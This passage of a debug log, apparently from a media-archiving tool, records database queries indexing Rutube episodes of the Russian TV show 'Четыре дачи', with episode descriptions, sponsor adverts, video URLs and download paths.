2023/s2023e090200 - Четыре дачи: Вологодская область.mp4", false, false, false, 5, [], 1, ~U[2023-09-02 07:50:13Z], ~U[2025-12-09 08:15:02Z], ~U[2025-12-09 08:15:02Z], "Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком: https://bit.ly/3YR2O5H \n\nЧетыре дачницы Вологодской области покажут свои загородные дома, сады и огороды. Елена из деревни Ирма пригласит на свою эффектную дачу, Евгения из деревни Кононово – на дачу позитивного настроения, Марина из города Сокол – на дачу Золушки, а Анна из деревни Канищево – на энергосберегающую дачу. А чем участницы угостят соперниц и как будут развлекать, смотрите в программе «Четыре дачи».", "Четыре дачи: Вологодская область", "eb5965611817d566c213266d02594bd0", 3961, false, "https://rutube.ru/video/eb5965611817d566c213266d02594bd0/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e090200 - Четыре дачи: Вологодская область.mp4", false, 5, ~U[2023-09-02 07:50:13Z]] 11:15:02.981 [debug] QUERY OK source="sources" db=40.1ms queue=0.1ms idle=787.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:02.984 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=828.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-09 07:50:09Z], 5] 11:15:03.493 [debug] QUERY OK source="media_items" db=508.6ms idle=829.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком. https://bit.ly/44K8BLH\n\nВадим Абрамов отправляется в путешествие по дачам Золотого кольца России. В городе Ковров Владимирской области Марина покажет свою дачу-вернисаж. Егор из деревни Новый Спас Владимирской области представит свою новаторскую дачу. Эльвира из деревни Сабуриха Ивановской области расскажет, что такое художественный релакс. А в деревне Седельницы Ярославской области участники посмотрят на экзотическую дачу Оксаны. Какая фазенда одержит победу на этот раз, узнаем из программы «Четыре дачи».", "Четыре дачи: Золотое кольцо России", "deb392d4-485d-43f6-aa5c-51fa6979c556", "7aeed4aed6af2bd09bf1becdd7db4991", 4175, false, "https://rutube.ru/video/7aeed4aed6af2bd09bf1becdd7db4991/", 6, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e090900 - Четыре дачи: Золотое кольцо России.mp4", false, false, false, 5, [], 1, ~U[2023-09-09 07:50:09Z], ~U[2025-12-09 08:15:02Z], ~U[2025-12-09 08:15:02Z], "Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком. https://bit.ly/44K8BLH\n\nВадим Абрамов отправляется в путешествие по дачам Золотого кольца России. В городе Ковров Владимирской области Марина покажет свою дачу-вернисаж. Егор из деревни Новый Спас Владимирской области представит свою новаторскую дачу. Эльвира из деревни Сабуриха Ивановской области расскажет, что такое художественный релакс. А в деревне Седельницы Ярославской области участники посмотрят на экзотическую дачу Оксаны. Какая фазенда одержит победу на этот раз, узнаем из программы «Четыре дачи».", "Четыре дачи: Золотое кольцо России", "7aeed4aed6af2bd09bf1becdd7db4991", 4175, false, "https://rutube.ru/video/7aeed4aed6af2bd09bf1becdd7db4991/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e090900 - Четыре дачи: Золотое кольцо России.mp4", false, 5, ~U[2023-09-09 07:50:09Z]] 11:15:03.534 [debug] QUERY OK source="sources" db=39.9ms queue=0.1ms idle=865.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:03.536 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=595.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-16 07:30:13Z], 5] 11:15:04.088 [debug] QUERY OK source="media_items" db=548.7ms queue=0.2ms idle=559.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре дачи — суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик легко найти дом, участок или дачу всего за пару минут. \nhttps://bit.ly/3RagHKf\n\nДачники Ленинградской области приглашают в гости. Надежда из Вилозского сельского поселения будет рада видеть конкурентов на своей плетёной даче для релакса. Ян и Татьяна из Бокситогорска покажут «бабушкину дачу». Елена из деревни Сярьги проведёт экскурсию по своей хлебосольной даче. А Елена из Гатчинского района встретит участников на фазенде «зелёный сад». Как соперники оценят гостеприимство друг друга, узнаем из программы «Четыре дачи».", "Четыре дачи: Ленинградская область 2", "1cdd4cbd-5eb2-48a2-966f-2d15267c0fef", "bf87c1e26ab617bf5a7deaa8cc4f200a", 4282, false, "https://rutube.ru/video/bf87c1e26ab617bf5a7deaa8cc4f200a/", 7, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e091600 - Четыре дачи: Ленинградская область 2.mp4", false, false, false, 5, [], 1, ~U[2023-09-16 07:30:13Z], ~U[2025-12-09 08:15:03Z], ~U[2025-12-09 08:15:03Z], "Четыре дачи — суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик легко найти дом, участок или дачу всего за пару минут. \nhttps://bit.ly/3RagHKf\n\nДачники Ленинградской области приглашают в гости. Надежда из Вилозского сельского поселения будет рада видеть конкурентов на своей плетёной даче для релакса. Ян и Татьяна из Бокситогорска покажут «бабушкину дачу». Елена из деревни Сярьги проведёт экскурсию по своей хлебосольной даче. А Елена из Гатчинского района встретит участников на фазенде «зелёный сад». Как соперники оценят гостеприимство друг друга, узнаем из программы «Четыре дачи».", "Четыре дачи: Ленинградская область 2", "bf87c1e26ab617bf5a7deaa8cc4f200a", 4282, false, "https://rutube.ru/video/bf87c1e26ab617bf5a7deaa8cc4f200a/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e091600 - Четыре дачи: Ленинградская область 2.mp4", false, 5, ~U[2023-09-16 07:30:13Z]] 11:15:04.126 [debug] QUERY OK source="sources" db=35.2ms queue=0.1ms idle=597.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:04.127 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=592.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-23 07:30:13Z], 5] 11:15:04.279 [debug] QUERY OK source="media_items" db=151.4ms idle=591.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик большое количество удобных фильтров для поиска квартиры: от этажности до вида из окна и высоты потолков.\nhttps://bit.ly/44Op1Tc\n\nДачники Московской области готовы поделиться со своими конкурентами лайфхаками. Елена из Ногинска пригласит участников на гуманную дачу. Анастасия из Ступино покажет, как устроена её дача «4 стихии». Во Фряново Константин будет удивлять своей экспериментальной дачей. А четвёртая участница Анастасия порадует гостей дачей в национальном парке Завидово. Смотрите программу «Четыре дачи»!", "Четыре дачи: Московская область 2", "6dfbcffd-776a-4e5a-a938-abdf0640cdb5", "73fc21a9acb9b2f73baf09a2bf7788cf", 4293, false, "https://rutube.ru/video/73fc21a9acb9b2f73baf09a2bf7788cf/", 8, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e092300 - Четыре дачи: Московская область 2.mp4", false, false, false, 5, [], 1, ~U[2023-09-23 07:30:13Z], ~U[2025-12-09 08:15:04Z], ~U[2025-12-09 08:15:04Z], "Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик большое количество удобных фильтров для поиска квартиры: от этажности до вида из окна и высоты потолков.\nhttps://bit.ly/44Op1Tc\n\nДачники Московской области готовы поделиться со своими конкурентами лайфхаками. Елена из Ногинска пригласит участников на гуманную дачу. Анастасия из Ступино покажет, как устроена её дача «4 стихии». Во Фряново Константин будет удивлять своей экспериментальной дачей. А четвёртая участница Анастасия порадует гостей дачей в национальном парке Завидово. Смотрите программу «Четыре дачи»!", "Четыре дачи: Московская область 2", "73fc21a9acb9b2f73baf09a2bf7788cf", 4293, false, "https://rutube.ru/video/73fc21a9acb9b2f73baf09a2bf7788cf/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e092300 - Четыре дачи: Московская область 2.mp4", false, 5, ~U[2023-09-23 07:30:13Z]] 11:15:04.315 [debug] QUERY OK source="sources" db=35.4ms queue=0.1ms idle=643.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:04.316 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=227.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-30 07:30:12Z], 5] 11:15:04.411 [debug] QUERY OK source="media_items" db=92.1ms idle=191.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. Отслеживайте ход строительства новостройки и следите за тем, как меняется стоимость квартиры в жилом комплексе на Домклик. \nhttps://bit.ly/44Hg1iQ\n\nДействительно ли Калужская область является самым томатным регионом? Вадим Абрамов отправится в гости к четырём дачницам, чтобы выяснить это. Соня из Малоярославца пригласит ведущего и участниц на свою дачу суперженщины. В деревне Шопино Вера покажет свою дачу красоты. Ольга будет встречать конкурентов на своей эмоциональной фазенде в Совьяках. А Лариса из Калуги похвастается урожаем на своей сортовой даче. Кто окажется самым гостеприимным, узнаем из программы «Четыре дачи».", "Четыре дачи: Калужская область", "d991aba2-65c2-4ca5-9596-5ec8456e49ec", "e8bda49b71d1dfe14d50c290df94c33e", 4200, false, "https://rutube.ru/video/e8bda49b71d1dfe14d50c290df94c33e/", 9, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e093000 - Четыре дачи: Калужская область.mp4", false, false, false, 5, [], 1, ~U[2023-09-30 07:30:12Z], ~U[2025-12-09 08:15:04Z], ~U[2025-12-09 08:15:04Z], "Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. Отслеживайте ход строительства новостройки и следите за тем, как меняется стоимость квартиры в жилом комплексе на Домклик. \nhttps://bit.ly/44Hg1iQ\n\nДействительно ли Калужская область является самым томатным регионом? Вадим Абрамов отправится в гости к четырём дачницам, чтобы выяснить это. Соня из Малоярославца пригласит ведущего и участниц на свою дачу суперженщины. В деревне Шопино Вера покажет свою дачу красоты. Ольга будет встречать конкурентов на своей эмоциональной фазенде в Совьяках. А Лариса из Калуги похвастается урожаем на своей сортовой даче. Кто окажется самым гостеприимным, узнаем из программы «Четыре дачи».", "Четыре дачи: Калужская область", "e8bda49b71d1dfe14d50c290df94c33e", 4200, false, "https://rutube.ru/video/e8bda49b71d1dfe14d50c290df94c33e/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e093000 - Четыре дачи: Калужская область.mp4", false, 5, ~U[2023-09-30 07:30:12Z]] 11:15:04.448 [debug] QUERY OK source="sources" db=35.3ms queue=0.1ms idle=286.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:04.449 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=170.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-07 07:30:15Z], 5] 11:15:04.534 [debug] QUERY OK source="media_items" db=84.0ms idle=135.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик легко выбрать недвижимость, оформить ипотеку от Сбербанка и получить одобрение онлайн всего за несколько минут. \nhttps://bit.ly/3RkV3TA\n\nДачники Ставропольского края посоревнуются друг с другом. Елена из Пятигорска пригласит конкурентов на свою самобытную фазенду. В хуторе Средний Ирина покажет трудолюбивую дачу. Евгений и Галина из Ставрополя будут рады видеть гостей на даче поколений. А Татьяна из посёлка Иноземцево развлечёт участников на своей позитивной даче. Как вырастить богатый урожай, подскажет программа «Четыре дачи».", "Четыре дачи: Ставропольский край", "ba721626-4940-4be5-b6fb-d4525c337e31", "43019c85c8c4212a89d68e79a4492c85", 4442, false, "https://rutube.ru/video/43019c85c8c4212a89d68e79a4492c85/", 10, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e100700 - Четыре дачи: Ставропольский край.mp4", false, false, false, 5, [], 1, ~U[2023-10-07 07:30:15Z], ~U[2025-12-09 08:15:04Z], ~U[2025-12-09 08:15:04Z], "Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик легко выбрать недвижимость, оформить ипотеку от Сбербанка и получить одобрение онлайн всего за несколько минут. \nhttps://bit.ly/3RkV3TA\n\nДачники Ставропольского края посоревнуются друг с другом. Елена из Пятигорска пригласит конкурентов на свою самобытную фазенду. В хуторе Средний Ирина покажет трудолюбивую дачу. Евгений и Галина из Ставрополя будут рады видеть гостей на даче поколений. А Татьяна из посёлка Иноземцево развлечёт участников на своей позитивной даче. Как вырастить богатый урожай, подскажет программа «Четыре дачи».", "Четыре дачи: Ставропольский край", "43019c85c8c4212a89d68e79a4492c85", 4442, false, "https://rutube.ru/video/43019c85c8c4212a89d68e79a4492c85/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e100700 - Четыре дачи: Ставропольский край.mp4", false, 5, ~U[2023-10-07 07:30:15Z]] 11:15:04.590 [debug] QUERY OK source="sources" db=54.3ms queue=0.2ms idle=219.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:04.593 [debug] QUERY OK source="media_items" db=2.4ms queue=0.2ms idle=181.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-14 07:30:13Z], 5] 11:15:04.656 [debug] QUERY OK source="media_items" db=59.0ms queue=0.3ms idle=147.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. Домклик предоставляет полный цикл от выбора жилья до оформления ипотеки и безопасного проведения сделки с недвижимостью. https://bit.ly/464RJAc\n\nДачный сезон завершается в Краснодарском крае. Виталий из села Индюк приглашает на свою клубную дачу. Екатерина из города Тимашевск встретит гостей в своём «восточном саду». Людмила из станицы Варениковской покажет, как выглядит её семейный оазис. А Оксана из села Варваровка позовёт дачников на свою королевскую фазенду. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край", "f5420475-4e4b-4ab2-bb09-94aaa57be304", "852669a0574e083d351d34f89f45cd4e", 4513, false, "https://rutube.ru/video/852669a0574e083d351d34f89f45cd4e/", 11, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e101400 - Четыре дачи: Краснодарский край.mp4", false, false, false, 5, [], 1, ~U[2023-10-14 07:30:13Z], ~U[2025-12-09 08:15:04Z], ~U[2025-12-09 08:15:04Z], "Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. Домклик предоставляет полный цикл от выбора жилья до оформления ипотеки и безопасного проведения сделки с недвижимостью. https://bit.ly/464RJAc\n\nДачный сезон завершается в Краснодарском крае. Виталий из села Индюк приглашает на свою клубную дачу. Екатерина из города Тимашевск встретит гостей в своём «восточном саду». Людмила из станицы Варениковской покажет, как выглядит её семейный оазис. А Оксана из села Варваровка позовёт дачников на свою королевскую фазенду. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край", "852669a0574e083d351d34f89f45cd4e", 4513, false, "https://rutube.ru/video/852669a0574e083d351d34f89f45cd4e/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e101400 - Четыре дачи: Краснодарский край.mp4", false, 5, ~U[2023-10-14 07:30:13Z]] 11:15:04.698 [debug] QUERY OK source="sources" db=40.3ms queue=0.1ms idle=123.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:04.701 [debug] QUERY OK source="media_items" db=2.3ms queue=0.2ms idle=109.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-02 08:30:08Z], 5] 11:15:04.727 [debug] QUERY OK source="media_items" db=24.7ms idle=108.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Дачницы Волгоградской области проявят своё гостеприимство и поделятся дачными советами. Екатерина покажет свою семейную дачу с большим количеством ягод. Ольга расскажет, какая дача для неё является «самой настоящей». Дарья будет удивлять своей «продуманной» дачей. А Анастасия пригласит на «многогранную» дачу. Кто из участниц победит, покажет программа «Четыре дачи».\n\nПоступай в колледжи Москвы и получи профессию мечты! Подробности на http://колледж.москва", "Четыре дачи: Волгоградская область", "27a04113-675b-49fd-9f5f-3cef84223931", "ea42303d71a7ce0426dbc1e15e1758dd", 5797, false, "https://rutube.ru/video/ea42303d71a7ce0426dbc1e15e1758dd/", 12, "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e080200 - Четыре дачи: Волгоградская область.mp4", false, false, false, 5, [], 1, ~U[2025-08-02 08:30:08Z], ~U[2025-12-09 08:15:04Z], ~U[2025-12-09 08:15:04Z], "Дачницы Волгоградской области проявят своё гостеприимство и поделятся дачными советами. Екатерина покажет свою семейную дачу с большим количеством ягод. Ольга расскажет, какая дача для неё является «самой настоящей». Дарья будет удивлять своей «продуманной» дачей. А Анастасия пригласит на «многогранную» дачу. Кто из участниц победит, покажет программа «Четыре дачи».\n\nПоступай в колледжи Москвы и получи профессию мечты! Подробности на http://колледж.москва", "Четыре дачи: Волгоградская область", "ea42303d71a7ce0426dbc1e15e1758dd", 5797, false, "https://rutube.ru/video/ea42303d71a7ce0426dbc1e15e1758dd/", "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e080200 - Четыре дачи: Волгоградская область.mp4", false, 5, ~U[2025-08-02 08:30:08Z]] 11:15:04.759 [debug] QUERY OK source="sources" db=31.3ms queue=0.1ms idle=72.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:04.763 [debug] QUERY OK source="media_items" db=2.9ms queue=0.4ms idle=61.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-09 08:10:16Z], 5] 11:15:04.840 [debug] QUERY OK source="media_items" db=74.3ms queue=0.2ms idle=65.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Жительницы Краснодарского края покажут свои дачи. Елена пригласит на экологичную семейную дачу, Ольга – на винтажную дачу, Анна – в «пространство любви», а Ирина – на вариативную дачу. Чем участницы будут удивлять друг друга, узнаем из программы «Четыре дачи».", "Четыре дачи: Краснодарский край", "864f9617-99f3-4ad7-8e5b-6138cbdbfaed", "7b864de9dd3143fcf0efd96824bf0f24", 4047, false, "https://rutube.ru/video/7b864de9dd3143fcf0efd96824bf0f24/", 13, "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e080900 - Четыре дачи: Краснодарский край.mp4", false, false, false, 5, [], 1, ~U[2025-08-09 08:10:16Z], ~U[2025-12-09 08:15:04Z], ~U[2025-12-09 08:15:04Z], "Жительницы Краснодарского края покажут свои дачи. Елена пригласит на экологичную семейную дачу, Ольга – на винтажную дачу, Анна – в «пространство любви», а Ирина – на вариативную дачу. Чем участницы будут удивлять друг друга, узнаем из программы «Четыре дачи».", "Четыре дачи: Краснодарский край", "7b864de9dd3143fcf0efd96824bf0f24", 4047, false, "https://rutube.ru/video/7b864de9dd3143fcf0efd96824bf0f24/", "/downloads/rutubeShows/4 ДАЧИ/Season 2025/s2025e080900 - Четыре дачи: Краснодарский край.mp4", false, 5, ~U[2025-08-09 08:10:16Z]] 11:15:04.878 [debug] QUERY OK source="sources" db=36.0ms queue=0.1ms idle=140.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:15:04.879 [debug] QUERY OK source="media_items" db=0.3ms idle=152.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-16 08:10:06Z], 5] 11:15:05.006 [debug] QUERY OK source="media_items" 